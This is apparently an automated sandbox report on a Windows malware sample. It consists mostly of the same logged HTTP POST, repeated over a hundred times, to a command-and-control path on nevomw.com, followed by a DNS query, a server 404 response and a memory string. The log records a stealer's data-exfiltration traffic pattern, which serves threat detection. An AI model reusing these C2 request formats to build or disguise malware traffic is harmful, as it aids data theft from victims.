Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Code function: 1_2_00404ED4 recv,

1_2_00404ED4

Source: unknown

DNS traffic detected: queries for: nevomw.com

Source: unknown

HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 196Connection: close

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 02 Dec 2020 10:52:41 GMTContent-Type: text/html; charset=UTF-8Content-Length: 15Connection: closeX-Powered-By: PHP/7.4.10RC1Status: 404 Not FoundData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
